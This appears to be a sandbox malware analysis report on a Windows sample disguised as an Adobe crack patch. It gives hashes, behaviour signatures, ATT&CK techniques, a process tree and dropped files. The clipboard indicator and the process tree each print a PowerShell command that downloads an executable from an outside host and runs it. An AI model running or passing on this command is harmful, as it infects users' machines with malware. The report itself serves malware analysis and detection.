256c2a409c97448d168f3eb1bfb89af3d259dfc05a510a3f464d8e4b348116d4

Resubmissions

28/05/2026, 11:16

260528-ndldlsdw8k8

28/05/2026, 11:15

260528-ncsrasdw7k7

Analysis

user interaction
yes
max time kernel
215s
max time network
211s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/05/2026, 11:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adobe.snr.patch.v2.0-painter.exe
Size 587KB
Sample260528-ndldlsdw8k
SHA256 256c2a409c97448d168f3eb1bfb89af3d259dfc05a510a3f464d8e4b348116d4
MD5 b31679db7db878992b4553290a9e6c7c
SHA1 7d0d2b434b51abe91e5b16e4c8dc8d26143b138c
SHA512 a9c65a280c5bfcd9a221a47237e96f454c85cf0a2222cd0469d2326a03cfaaa5b69424c4963f128affc91c8861b9aac236289578a94629717d81a7e3b08a75f2
SSDEEP 12288:0MNVzzbgNRk1Lq+TC0YPxfqswK/EH1WYEmMC+jsEdf8Zdq0Cxmj1A:dLE1+TYPljwK/oY9se8Zd8kJA
TLSH
T1A9D4120CB9D28207FB5395324BD7C717422CCE7A58A457232AA776B22DB0C547F92E62
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
158	5748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5748	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
4864	adobe.snr.patch.v2.0-painter.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -c "Invoke-WebRequest -Uri 'https://tuasesoriadigital.es/default.dat' -Outfile 'vegas_crack_x3.exe'; Start-Process 'vegas_crack_x3.exe'"	firefox.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adobe.snr.patch.v2.0-painter.exe

Checks processor information in registry 2 TTPs 38 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5600	powershell.exe
5600	powershell.exe
5600	powershell.exe
5748	powershell.exe
5748	powershell.exe
5748	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: 33	2396	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2396	AUDIODG.EXE
Token: SeDebugPrivilege	4112	firefox.exe
Token: SeDebugPrivilege	4112	firefox.exe
Token: SeDebugPrivilege	4112	firefox.exe
Token: SeDebugPrivilege	4112	firefox.exe
Token: SeDebugPrivilege	4112	firefox.exe
Token: SeDebugPrivilege	5600	powershell.exe
Token: SeDebugPrivilege	5748	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4864	adobe.snr.patch.v2.0-painter.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe
4112	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4292 wrote to memory of 4112	4292	firefox.exe	83
PID 4292 wrote to memory of 4112	4292	firefox.exe	83
PID 4112 wrote to memory of 1392	4112	firefox.exe	84
PID 4112 wrote to memory of 1392	4112	firefox.exe	84
PID 4112 wrote to memory of 1392	4112	firefox.exe	84
PID 4112 wrote to memory of 4892	4112	firefox.exe	85
PID 4112 wrote to memory of 4892	4112	firefox.exe	85
PID 4112 wrote to memory of 4892	4112	firefox.exe	85
PID 4112 wrote to memory of 4892	4112	firefox.exe	85
PID 4112 wrote to memory of 1796	4112	firefox.exe	86
PID 4112 wrote to memory of 1796	4112	firefox.exe	86
PID 4112 wrote to memory of 1796	4112	firefox.exe	86
PID 4112 wrote to memory of 1796	4112	firefox.exe	86
PID 4112 wrote to memory of 3892	4112	firefox.exe	87
PID 4112 wrote to memory of 3892	4112	firefox.exe	87
PID 4112 wrote to memory of 3892	4112	firefox.exe	87
PID 4112 wrote to memory of 272	4112	firefox.exe	88
PID 4112 wrote to memory of 272	4112	firefox.exe	88
PID 4112 wrote to memory of 272	4112	firefox.exe	88
PID 4112 wrote to memory of 272	4112	firefox.exe	88
PID 4112 wrote to memory of 3976	4112	firefox.exe	89
PID 4112 wrote to memory of 3976	4112	firefox.exe	89
PID 4112 wrote to memory of 3976	4112	firefox.exe	89
PID 4112 wrote to memory of 3976	4112	firefox.exe	89
PID 4112 wrote to memory of 2376	4112	firefox.exe	90
PID 4112 wrote to memory of 2376	4112	firefox.exe	90
PID 4112 wrote to memory of 2376	4112	firefox.exe	90
PID 4112 wrote to memory of 2376	4112	firefox.exe	90
PID 4112 wrote to memory of 4688	4112	firefox.exe	91
PID 4112 wrote to memory of 4688	4112	firefox.exe	91
PID 4112 wrote to memory of 4688	4112	firefox.exe	91
PID 4112 wrote to memory of 4688	4112	firefox.exe	91
PID 4112 wrote to memory of 912	4112	firefox.exe	92
PID 4112 wrote to memory of 912	4112	firefox.exe	92
PID 4112 wrote to memory of 912	4112	firefox.exe	92
PID 4112 wrote to memory of 912	4112	firefox.exe	92
PID 4112 wrote to memory of 3752	4112	firefox.exe	93
PID 4112 wrote to memory of 3752	4112	firefox.exe	93
PID 4112 wrote to memory of 3752	4112	firefox.exe	93
PID 4112 wrote to memory of 3752	4112	firefox.exe	93
PID 4112 wrote to memory of 5052	4112	firefox.exe	94
PID 4112 wrote to memory of 5052	4112	firefox.exe	94
PID 4112 wrote to memory of 5052	4112	firefox.exe	94
PID 4112 wrote to memory of 5052	4112	firefox.exe	94
PID 4112 wrote to memory of 2852	4112	firefox.exe	95
PID 4112 wrote to memory of 2852	4112	firefox.exe	95
PID 4112 wrote to memory of 2852	4112	firefox.exe	95
PID 4112 wrote to memory of 2852	4112	firefox.exe	95
PID 4112 wrote to memory of 2484	4112	firefox.exe	96
PID 4112 wrote to memory of 2484	4112	firefox.exe	96
PID 4112 wrote to memory of 2484	4112	firefox.exe	96
PID 4112 wrote to memory of 2484	4112	firefox.exe	96
PID 4112 wrote to memory of 4868	4112	firefox.exe	97
PID 4112 wrote to memory of 4868	4112	firefox.exe	97
PID 4112 wrote to memory of 4868	4112	firefox.exe	97
PID 4112 wrote to memory of 4868	4112	firefox.exe	97
PID 4112 wrote to memory of 460	4112	firefox.exe	98
PID 4112 wrote to memory of 460	4112	firefox.exe	98
PID 4112 wrote to memory of 460	4112	firefox.exe	98
PID 4112 wrote to memory of 460	4112	firefox.exe	98
PID 4112 wrote to memory of 4008	4112	firefox.exe	99
PID 4112 wrote to memory of 4008	4112	firefox.exe	99
PID 4112 wrote to memory of 4008	4112	firefox.exe	99
PID 4112 wrote to memory of 4008	4112	firefox.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\adobe.snr.patch.v2.0-painter.exe
"C:\Users\Admin\AppData\Local\Temp\adobe.snr.patch.v2.0-painter.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4864

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004E4 0x00000000000004E8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2396

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4292
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious clipboard content.
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1988 -prefsLen 27097 -prefMapHandle 1992 -prefMapSize 270279 -ipcHandle 2064 -initialChannelId {81e7a918-54f1-4fef-90ad-d858be6e3f20} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:1392
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2432 -prefsLen 27133 -prefMapHandle 2436 -prefMapSize 270279 -ipcHandle 2444 -initialChannelId {d8f4bf80-4cc4-41c1-924b-f7f72395817e} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    - Checks processor information in registry
    PID:4892
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3856 -prefsLen 27323 -prefMapHandle 3860 -prefMapSize 270279 -jsInitHandle 3864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3872 -initialChannelId {a071518b-9216-495f-b191-6c09f3ccab23} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:1796
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4008 -prefsLen 27323 -prefMapHandle 4012 -prefMapSize 270279 -ipcHandle 4028 -initialChannelId {caa444f3-f350-4218-91ef-b1b6ed28c08e} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:3892
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3092 -prefsLen 34822 -prefMapHandle 3124 -prefMapSize 270279 -jsInitHandle 2608 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2984 -initialChannelId {15dcab10-464f-4548-ab05-1ffc10797905} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:272
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4896 -prefsLen 34822 -prefMapHandle 4908 -prefMapSize 270279 -ipcHandle 4892 -initialChannelId {6580f69d-10bf-45b0-84a0-940c4404f9c1} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:3976
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5072 -prefsLen 32952 -prefMapHandle 5096 -prefMapSize 270279 -jsInitHandle 3188 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4852 -initialChannelId {824fef57-7b1b-47a5-86cc-75219a57e982} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:2376
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5504 -prefsLen 32952 -prefMapHandle 5508 -prefMapSize 270279 -jsInitHandle 5512 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5516 -initialChannelId {8a314c0c-ebb5-47c6-be77-4eaa667e9d18} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:4688
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5692 -prefsLen 32952 -prefMapHandle 5696 -prefMapSize 270279 -jsInitHandle 5700 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5708 -initialChannelId {62b6ee2a-7437-45e8-acf7-55f3e1dd587b} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:912
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6236 -prefsLen 33071 -prefMapHandle 6244 -prefMapSize 270279 -jsInitHandle 6208 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6188 -initialChannelId {257a6bf7-7c3f-45b4-adab-606f949097b8} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:3752
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5036 -prefsLen 36758 -prefMapHandle 2928 -prefMapSize 270279 -jsInitHandle 6508 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6696 -initialChannelId {d7ee08ac-c4d5-4441-8ce3-cfa850be3b2b} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5052
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6488 -prefsLen 36758 -prefMapHandle 6472 -prefMapSize 270279 -jsInitHandle 6476 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6548 -initialChannelId {9e4b25d5-2c82-436b-8588-77e89bba2ce6} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:2852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6560 -prefsLen 36758 -prefMapHandle 2932 -prefMapSize 270279 -jsInitHandle 6552 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5036 -initialChannelId {579bccb5-9133-4187-be45-b8d26cb6508c} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:2484
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6884 -prefsLen 36758 -prefMapHandle 6888 -prefMapSize 270279 -jsInitHandle 6892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6776 -initialChannelId {03efb3e3-7ec0-4e6e-9116-4822cd9e8434} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
    3⤵
    - Checks processor information in registry
    PID:4868
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6772 -prefsLen 36758 -prefMapHandle 6980 -prefMapSize 270279 -jsInitHandle 6984 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7096 -initialChannelId {82d48f56-93ea-42fc-bf49-ad397e1931fb} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 tab
    3⤵
    - Checks processor information in registry
    PID:460
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7296 -prefsLen 36758 -prefMapHandle 7300 -prefMapSize 270279 -jsInitHandle 7304 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7312 -initialChannelId {6c4f3e74-6eda-460e-9a5a-36068e0031be} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 16 tab
    3⤵
    - Checks processor information in registry
    PID:4008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 7224 -prefsLen 39875 -prefMapHandle 7220 -prefMapSize 270279 -ipcHandle 7032 -initialChannelId {0bef114b-03e0-4f9b-927d-9bfeef672d77} -parentPid 4112 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4112" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 17 utility
    3⤵
    - Checks processor information in registry
    PID:4952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Invoke-WebRequest -Uri 'https://tuasesoriadigital.es/default.dat' -Outfile 'vegas_crack_x3.exe'; Start-Process 'vegas_crack_x3.exe'"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 62KB
SHA256 b48eb9b8637997d1ce301af35ea735e9ec4a5de53ee7e05ce8e6ae495db55803
MD5 440cb5ad5a9459f933dc5043c2ac6521
SHA1 0a7c46086a5089f6e5e7947a0eab5c5593d06d44
SHA512 6ba55fa604c78c7b12255626d264dd03afa8e66ab57f6fea6703a2a7d3b9b9693771124ccea826ad3c31fae4a9508b967fd4229e4744c3264105bff63698d3cd
SSDEEP 1536:LflJd+h4iUxUYyYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3Xi3j39MVvjBMy:LflJd+qiUUYyYkzvHgfKQaUpeE711kDa
TLSH
T153537392E9204E75E2A65F3EF15622627D30394690F8113212DC25EFA987D930B1F7FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

14E79E383DB79CE360AB905D259B0F4EA6D7EC0D

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\9tz20xb5.default-release\cache2\entries\14E79E383DB79CE360AB905D259B0F4EA6D7EC0D
Size 87KB
SHA256 c3873a7aa1d70549d4708023b068c732e464d34dae7e991a95507bc4d748657d
MD5 9c68f6a41c04988da27ee0da0b1d681c
SHA1 315e591c2042b73880acbf9f16e7735d7d7f48d0
SHA512 a9c796d1f0aa7da1d49f1d06659ddbfc999bd73c5912c6371cda1f0371812959f8916a9224a568b3fcca674d29ea036807a72adb64304dc5de1d19a84e6af533
SSDEEP 1536:10ty1Nc6BB3v6HokRAftheqjnlDHlP2g8j/77pej+Efl9wx5eBPAQ5Nw2L:Ey1Nc6BR6HNafiEHlk78j/l9cLQHP
TLSH
T14F9302F7580C782A4CB5DF583195EB982D8CBB6368917ABCF185DECCE140F528E262C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

C5643FFFEA92A5665EA3F3F42C97FA8CC3904334

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\9tz20xb5.default-release\cache2\entries\C5643FFFEA92A5665EA3F3F42C97FA8CC3904334
Size 13KB
SHA256 659a7c802669e94c346a37bdf8226b4d13c13cc6eabdc6d044431d10506de508
MD5 e9ec3d439bc7324231e9d73f6ce4b387
SHA1 53411217eee719c8e310256e346d9f19bd9b6c19
SHA512 fda9cf0420688500868e39aac1b4e780da2f9b037477f738e094308aaa339d7071248082ec87158fce442b45f300284c74df88a3be275cda64c59a88d80abf32
SSDEEP 384:HUr7iO024Yyo6J+Sl1xDnZBPsac4j0lpDII+nmkqmkhG:0SZYyo0+Sl7zZlsac4ID8LIG
TLSH
T175527DBA9F0138A92A27D094D9BE92448D04A6BBDEE3D09615143C04CA447B9F4E64DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

DB082A3E3C03737D2B1730863BD42EB6C642EF44

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\9tz20xb5.default-release\cache2\entries\DB082A3E3C03737D2B1730863BD42EB6C642EF44
Size 14KB
SHA256 6f210112a3fc73dff0757c4d93e4907706d363df1a9f3211968f4cbb03c7b634
MD5 c9957855ee4a8db237914acba8b8f89c
SHA1 cb8fb7034f572e8988c68c6afd5278186ed2ac00
SHA512 8cb894b171284a11b45fbc12c504164c86e0b1b49c99ded21e97f176280f181f8e145b5149a26b116f3c4cd97a62adf76e23fd6d6551ea5fcee9a0089e79c549
SSDEEP 192:rQrpe8mPYZci2eBz79FtJ8SFSz3KRldhEYIGRKRldhEYIGfn5nu+acbUrliUL:r/nD2vjtJ7ST+I++Ii5n1aoEliUL
TLSH
T1A662AEB9DD12A8CE1633F6B0C6ADD08C8D16526BDE20C4FF0C0D799182EE6B46CE5596
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_f4ojorb4.par.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4ojorb4.par.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
